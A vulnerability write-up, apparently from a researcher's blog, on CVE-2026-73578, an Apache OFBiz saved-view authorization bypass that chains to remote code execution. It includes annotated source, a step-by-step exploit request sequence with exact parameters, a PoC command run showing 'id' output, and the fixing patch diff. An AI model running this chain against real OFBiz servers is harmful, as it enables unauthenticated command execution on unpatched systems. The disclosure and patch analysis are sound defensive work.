Skip to content

CVE-2026-73578: Apache OFBiz Saved-View Authorization Bypass to RCE

TL;DR

  • An unauthenticated attacker could run commands as the ofbiz operating-system account by poisoning saved-view state in their own session.
  • OFBiz stored an attacker-chosen _LAST_VIEW_NAME_ and its request data while rendering the login page after a protected request failed.
  • Public routes returning view-last replayed that name without applying the authentication policy of the route that owned the view.
  • Restored request attributes could select a widget document held open in OFBiz's multipart upload spool, which the protected view parsed and executed.
  • CVE-2026-73578 affects Apache OFBiz before 24.09.08 and is fixed in 24.09.08, which validates the stored view name against the controller's policy and drops widget-location parameters from saved view state.

Summary

  • CVE: CVE-2026-73578
  • Product: Apache OFBiz (Java ERP suite)
  • Vulnerability: Unauthenticated Saved-View Authorization Bypass to Remote Code Execution
  • Affected Versions: < 24.09.08
  • Fixed In: 24.09.08
  • Severity: Important (per Apache)
  • CVSS Severity: 7.5 (high, reporter-assessed) for the authorization bypass, and 9.8 (critical, reporter-assessed) for the end-to-end chain
  • Required Privilege: None
  • Advisory: Apache OFBiz CVE Announcements
  • Reported: August 2, 2026
  • NVD Published: November 5, 2026

Introduction

OFBiz returns a user to their previous screen after a locale or time-zone change. For a logged-in user, that is ordinary navigation bookkeeping.

OFBiz gives an anonymous caller a session too, and starts filling it before deciding whether the caller is allowed anywhere. A public route can later read that stored state as an instruction about what to render.

This route uses exact /main and /setSessionLocale paths with no override view. It shares part of the later widget-execution path with CVE-2026-73577.

Root Cause Analysis

The excerpts below are from the tested release24.09 snapshot at commit b5ca713e.

Poisoning Anonymous Saved-View State

OFBiz saves the last rendered view in RequestHandler.renderView(), building a map from request parameters and attributes and then taking the view name out of that same map.

// framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java
Map<String, Object> paramMap = UtilHttp.getParameterMap(req); // [1] Request parameters.
// add in the attributes as well so everything needed for the rendering context will be in place if/when we get back to this view
paramMap.putAll(UtilHttp.getAttributeMap(req)); // [2] Request attributes merged.
UtilMisc.makeMapSerializable(paramMap);
// Used by lookups to keep the real view (request); accept the request parameter only if it is a safe view name (alphanumeric/dash/underscore)
String lastViewNameParam = (String) paramMap.get("_LAST_VIEW_NAME_"); // [3] Caller-selected view.
String lastViewName = (lastViewNameParam != null && lastViewNameParam.matches("[\\w\\-]+")) ? lastViewNameParam : view; // [4] Valid characters only.
req.getSession().setAttribute("_LAST_VIEW_NAME_", lastViewName); // [5] Stored view name.
req.getSession().setAttribute("_LAST_VIEW_PARAMS_", paramMap); // [6] Saved render context.

RequestHandler.renderView() merges caller-set request parameters with framework attributes at [1] and [2]. [3] then reads the view name from that map. The regex at [4] validates only the name's characters. Any syntactically valid view name can pass even when the current request cannot reach that view. Both the name and the rendering data land in the session at [5] and [6].

This runs before OFBiz looks up and checks the view it is rendering. Facility's /main requires authentication, so an anonymous request renders the login page. The request still leaves the attacker's chosen name in _LAST_VIEW_NAME_.

A Public Request Replays the Stored View

Facility includes the common controller, which exposes the locale and time-zone setters without a login.

<!-- framework/common/webcommon/WEB-INF/common-controller.xml -->
<request-map uri="setSessionLocale">
    <security https="true" auth="false"/>
    <event type="java" path="org.apache.ofbiz.common.CommonEvents" invoke="setSessionLocale"/>
    <response name="success" type="view-last" value="main"/>
    <response name="error" type="request" value="main"/>
</request-map>

The common controller uses view-last instead of returning a fixed view, asking the handler to go back to whatever the session remembers.

// framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java
// as a further override, look for the _SAVED and then _HOME and then _LAST session attributes
Map<String, Object> urlParams = null;
if (session.getAttribute("_SAVED_VIEW_NAME_") != null) {
    viewName = (String) session.getAttribute("_SAVED_VIEW_NAME_");
    urlParams = UtilGenerics.cast(session.getAttribute("_SAVED_VIEW_PARAMS_"));
} else if (session.getAttribute("_HOME_VIEW_NAME_") != null) {
    viewName = (String) session.getAttribute("_HOME_VIEW_NAME_");
    urlParams = UtilGenerics.cast(session.getAttribute("_HOME_VIEW_PARAMS_"));
} else if (session.getAttribute("_LAST_VIEW_NAME_") != null) { // [7] Load saved view.
    viewName = (String) session.getAttribute("_LAST_VIEW_NAME_");
    urlParams = UtilGenerics.cast(session.getAttribute("_LAST_VIEW_PARAMS_")); // [8] Load saved context.
} else if (UtilValidate.isNotEmpty(nextRequestResponse.getValue())) {
    viewName = nextRequestResponse.getValue();
}
if (UtilValidate.isEmpty(viewName) && UtilValidate.isNotEmpty(nextRequestResponse.getValue())) {
    viewName = nextRequestResponse.getValue();
}
if (urlParams != null) {
    for (Map.Entry<String, Object> urlParamEntry : urlParams.entrySet()) {
        String key = urlParamEntry.getKey();
        // Don't overwrite messages coming from the current event
        if (!("_EVENT_MESSAGE_".equals(key) || "_ERROR_MESSAGE_".equals(key)
                || "_EVENT_MESSAGE_LIST_".equals(key) || "_ERROR_MESSAGE_LIST_".equals(key))) {
            request.setAttribute(key, urlParamEntry.getValue()); // [9] Restore request attributes.
        }
    }
}
renderView(viewName, requestMap.isSecurityExternalView(), request, response, null); // [10] Direct saved-view render.

In RequestHandler.renderView(), a fresh anonymous session has no saved or home view, so it falls to [7], and the data saved alongside it comes back at [8]. Every value except the four event and error-message keys is written back as a request attribute at [9]. Then [10] renders the chosen name without ever looking up the request map that view belongs to.

Request Authentication Does Not Follow the View

The Facility Manager route requires a login. Its same-named view has auth="false".

<!-- applications/product/webapp/facility/WEB-INF/controller.xml -->
<request-map uri="EditShipmentRouteSegments">
    <security https="true" auth="true"/>
    <response name="success" type="view" value="EditShipmentRouteSegments"/>
</request-map>

<!-- ... unrelated request and view mappings omitted. -->

<view-map name="EditShipmentRouteSegments" type="screen" page="component://product/widget/facility/ShipmentScreens.xml#EditShipmentRouteSegments" auth="false"/>

The protected request map and its public view map show the split. Saved-view dispatch never enters that request map, and the login check it does run uses the view's own auth="false".

Views with auth="true" still require a login. Exposure is limited to views marked public on the assumption that authenticated routes alone would call them.

From Bypass to Code Execution

The saved map's values return as request attributes, and those sit at the top of the precedence order when the screen context is built.

// framework/base/src/main/java/org/apache/ofbiz/base/util/UtilHttp.java
Map<String, Object> combinedMap = new HashMap<>();
combinedMap.putAll(getParameterMap(request));                   // parameters override nothing
combinedMap.putAll(getServletContextMap(request, namesToSkip)); // bottom level application attributes
combinedMap.putAll(getSessionMap(request, namesToSkip));        // session overrides application
// [11] Attributes take precedence.
combinedMap.putAll(getAttributeMap(request));                   // attributes trump them all

In UtilHttp.getCombinedMap(), restored attributes land on top at [11], so a value the attacker stored earlier outranks anything the application configured for itself. ScreenRenderer publishes that map as parameters, and the target screen reads a decorator location out of it.

<!-- applications/product/widget/facility/ShipmentScreens.xml -->
<decorator-screen name="CommonShipmentDecorator" location="${parameters.commonShipmentDecoratorLocation}">
    <decorator-section name="body">
        <platform-specific>
            <html><html-template location="component://product/template/shipment/EditShipmentRouteSegments.ftl"/></html>
        </platform-specific>
    </decorator-section>

The Facility screen reads the decorator location from the value stored in step one. The decorator renderer passes that location to ScreenFactory, which parses the named file.

// framework/widget/src/main/java/org/apache/ofbiz/widget/model/ScreenFactory.java
URL screenFileUrl = null;
screenFileUrl = FlexibleLocation.resolveLocation(resourceName); // [12] Resolve screen resource.
if (screenFileUrl == null || UtilValidate.isUrlInStringAndDoesNotStartByComponentProtocol(screenFileUrl.toString())) { // [13] Rejects `://`.
    throw new IllegalArgumentException("Could not resolve location to URL: " + resourceName);
}
Document screenFileDoc = UtilXml.readXmlDocument(screenFileUrl, true, true); // [14] Parse screen XML.

ScreenFactory.getScreenFromLocation() turns the stored string into a URL at [12]. The check at [13] rejects http:// and https://. It leaves file:/proc/thread-self/fd/N untouched. Whatever survives is parsed as widget XML at [14]. A second check runs before this one. Its entire blocklist is proc/self/fd. Linux offers more than one name for the same descriptor table. The release24.09.07 tag has no such check at all.

OFBiz compiles and runs a ${groovy:...} value as a script element while rendering parsed widget XML, giving the supplied widget code execution.

// framework/base/src/main/java/org/apache/ofbiz/base/util/string/FlexibleStringExpander.java
this.script = new String(this.getChars(), this.parseStart, this.parseLength);
this.parsedScript = ScriptUtil.parseScript(this.language, this.script); // [15] Compile Groovy.

// ... constructor closing and method setup omitted; they do not affect evaluation.

    Object obj = ScriptUtil.evaluate(this.language, this.script, this.parsedScript, contextCopy); // [16] Execute Groovy.

FlexibleStringExpander guards compilation at [15] and evaluation at [16] with a regular-expression denylist over the script's source text, which Groovy's dynamic dispatch bypasses.

ControlFilter parses parameters before controller dispatch, which sends multipart bodies through Commons FileUpload's disk-backed parser. Parts above 1,024,000 bytes spill to runtime/tmp under the shipped settings, with no maximum body size. Sending a complete widget document but withholding the final declared byte keeps the spool file open while the parser waits, so another request in the same JVM can read it through the process descriptor table.

Impact

An anonymous caller can run commands under the account that owns the OFBiz process.

The saved-view bypass renders the protected view. The Facility screen's FACILITY_VIEW check stops shipment disclosure. Replacing its decorator reaches command execution before that check runs, using the weaknesses tracked as CVE-2026-83542.

Exploitation

Preconditions

  • Apache OFBiz on the affected range with Facility Manager reachable. The default component loader includes Product, whose component definition mounts Facility, so the whole route ships by default.
  • A Linux-style descriptor namespace, writable multipart storage and a shell for the RCE tail.
  • Ingress must stream the multipart body. Buffering defeats this staging method, and both requests must reach the same OFBiz JVM.

The shipped configuration selects NoCsrfDefenseStrategy. With the stronger strategy enabled, the client takes an anonymous AJAX token from the login response before sending the public trigger.

Request Sequence

The exploit keeps one incomplete multipart request open while sending ordinary requests in the same anonymous cookie session.

  1. Request /facility/control/main?visualThemeId=COMMON to establish an anonymous session.
  2. Confirm a direct same-session POST to /facility/control/EditShipmentRouteSegments returns HTTP 401.
  3. Send the widget document as a large multipart part to /facility/control/ListLocales and withhold the final declared byte.
  4. Request /facility/control/main with _LAST_VIEW_NAME_=EditShipmentRouteSegments and commonShipmentDecoratorLocation=file:/proc/thread-self/fd/N#nonce. The HTTP 401 login render stores both.
  5. POST newLocale=en to the public /facility/control/setSessionLocale. Its view-last response restores the values and renders the target view.
  6. Repeat the poison and trigger pair with a fresh URL fragment per candidate until a descriptor resolves to the staged document.

PoC

The PoC holds the multipart request open, poisons the saved view, fires the public trigger and prints the command output.

python3 cve_2026_73578.py https://target.example:8443 -c 'id' --fd-min 200 --fd-max 800
  ___  _____ ____ ___ _____
 / _ \|  ___| __ )_ _|__  /
| | | | |_  |  _ \| |  / /
| |_| |  _| | |_) | | / /_
 \___/|_|   |____/___/____|
  saved-view bypass to RCE  ·  CVE-2026-73578
  discovered by CryptoCat · cryptocat.me

 [!] command execution is at-least-once; use an idempotent command
 [*] Bootstrap response: HTTP 401
 [+] Anonymous session cookie obtained
 [+] Anonymous AJAX CSRF token obtained (12 characters)
 [*] Intended /facility/control/EditShipmentRouteSegments route: HTTP 401
 [*] Staging 1,200,000-byte screen through /facility/control/ListLocales
 [+] Anonymous saved-view state loaded the staged screen through /proc/thread-self/fd/393
 [+] Poison response was HTTP 401; view-last trigger was HTTP 200
 [+] Intended route remained protected while saved-view dispatch succeeded
 [+] Remote command exit status: 0
 [+] command output
  ------------------------------------------------------------
uid=1000(ofbiz) gid=1000(ofbiz) groups=1000(ofbiz)

That run uses the release24.09.07 tag. The later branch snapshot produced the same result. A lost trigger response does not show whether the command ran. Use an idempotent command and do not retry anything that cannot safely run twice.

Demo

The same steps in a browser poison the saved view, then load the public setSessionLocale route. Its view-last response renders the staged screen, so the id output comes straight back in an anonymous session.

Apache OFBiz setSessionLocale response rendering id command output from the poisoned saved view, in an anonymous browser session

Patch Diffing

Commit 79b8f25794, committed on 14 August, fixes the two halves separately. The commit is an ancestor of the final 24.09.08 release tag.

The stored view name is now checked against the controller's own policy before it is kept.

// framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java (renderView)
-// Used by lookups to keep the real view (request); accept the request parameter only if it is a safe view name (alphanumeric/dash/underscore)
-String lastViewNameParam = (String) paramMap.get("_LAST_VIEW_NAME_");
-String lastViewName = (lastViewNameParam != null && lastViewNameParam.matches("[\\w\\-]+")) ? lastViewNameParam : view;
-req.getSession().setAttribute("_LAST_VIEW_NAME_", lastViewName);
-req.getSession().setAttribute("_LAST_VIEW_PARAMS_", paramMap);
+
+// Used by lookups to keep the real view (request); validate candidate last view against controller authorization policy
+String candidateLastView = (String) paramMap.get("_LAST_VIEW_NAME_");
+String safeLastView = view;
+if (UtilValidate.isNotEmpty(candidateLastView) && candidateLastView.matches("[\\w\\-]+")) {
+    ConfigXMLReader.ControllerConfig cConfig = getControllerConfig();
+    if (cConfig != null) {
+        ConfigXMLReader.ViewMap candidateViewMap = cConfig.getViewMapMap().get(candidateLastView);
+        ConfigXMLReader.RequestMap candidateReqMap = cConfig.getRequestMapMap().get(candidateLastView);
+        if (candidateViewMap != null) {
+            boolean requiresAuth = candidateViewMap.isSecurityAuth()
+                    || (candidateReqMap != null && candidateReqMap.isSecurityAuth());
+            if (!requiresAuth || UtilValidate.isNotEmpty(userLogin)) {
+                safeLastView = candidateLastView;
+            } else {
+                Debug.logWarning("Blocked unauthorized _LAST_VIEW_NAME_ attempt: [" + candidateLastView
+                        + "] for unauthenticated session " + showSessionId(req), MODULE);
+            }
+        }
+    }
+}
+req.getSession().setAttribute("_LAST_VIEW_NAME_", safeLastView);

The character check remains. A controller lookup now adds the authorisation check. If either the candidate's view map or a request map of the same name requires a login, an unauthenticated session cannot store it. The current view is kept instead and the attempt is logged.

The second change restricts what the restored data can point at.

// framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java (renderView)
+// Filter out sensitive dynamic location/template override parameters from persisted session params
+Map<String, Object> sanitizedParamMap = new HashMap<>(paramMap);
+sanitizedParamMap.keySet().removeIf(key -> key != null && (
+        key.endsWith("Location")
+        || key.endsWith("Screen")
+        || key.endsWith("Template")
+        || key.endsWith("Uri")));
+req.getSession().setAttribute("_LAST_VIEW_PARAMS_", sanitizedParamMap);

Anything whose name ends in Location, Screen, Template or Uri is dropped before the map is stored, which covers commonShipmentDecoratorLocation and the general shape of a widget resource setting. The same filter runs again on the way back out, where saved parameters are restored as request attributes.

// framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java (renderView)
 for (Map.Entry<String, Object> urlParamEntry : urlParams.entrySet()) {
     String key = urlParamEntry.getKey();
-    // Don't overwrite messages coming from the current event
-    if (!("_EVENT_MESSAGE_".equals(key) || "_ERROR_MESSAGE_".equals(key)
+    // Filter out event messages and dynamic resource/location override parameters
+    if (key != null && !key.startsWith("_")
+            && !key.endsWith("Location")
+            && !key.endsWith("Screen")
+            && !key.endsWith("Template")
+            && !key.endsWith("Uri")
+            && !("_EVENT_MESSAGE_".equals(key) || "_ERROR_MESSAGE_".equals(key)
             || "_EVENT_MESSAGE_LIST_".equals(key) || "_ERROR_MESSAGE_LIST_".equals(key))) {
         request.setAttribute(key, urlParamEntry.getValue());

The parameter filter removes keys with selected suffixes. The same commit introduced WidgetSecureLocation to restrict widget resources to component://, and a companion commit later that day made it deny by default. CVE-2026-83542 covers the resource-location fix.

Remediation

Upgrade to Apache OFBiz 24.09.08 or later.

On older builds, audit screens that resolve widget locations from ${parameters.something}. A restored attribute reaching one of those turns the view bypass into code execution.

Disclosure Timeline

  • August 2, 2026: Reported to the Apache OFBiz security team.
  • August 13, 2026: Apache assigned CVE-2026-73578 and shared the draft advisory.
  • August 14, 2026: Apache committed the fix, validating the stored view name and filtering resource-location parameters out of saved view state.
  • November 3, 2026: Apache announced OFBiz 24.09.08, the first released version containing the fix.
  • November 4, 2026: Apache publicly announced CVE-2026-73578 in its consolidated OFBiz CVE notice.
  • November 5, 2026: CVE.org and NVD published CVE-2026-73578.

Conclusion

CVE-2026-73578 lets an anonymous session choose a saved view and its restored attributes. OFBiz fixed the widget-resource path used for command execution separately under CVE-2026-83542.

References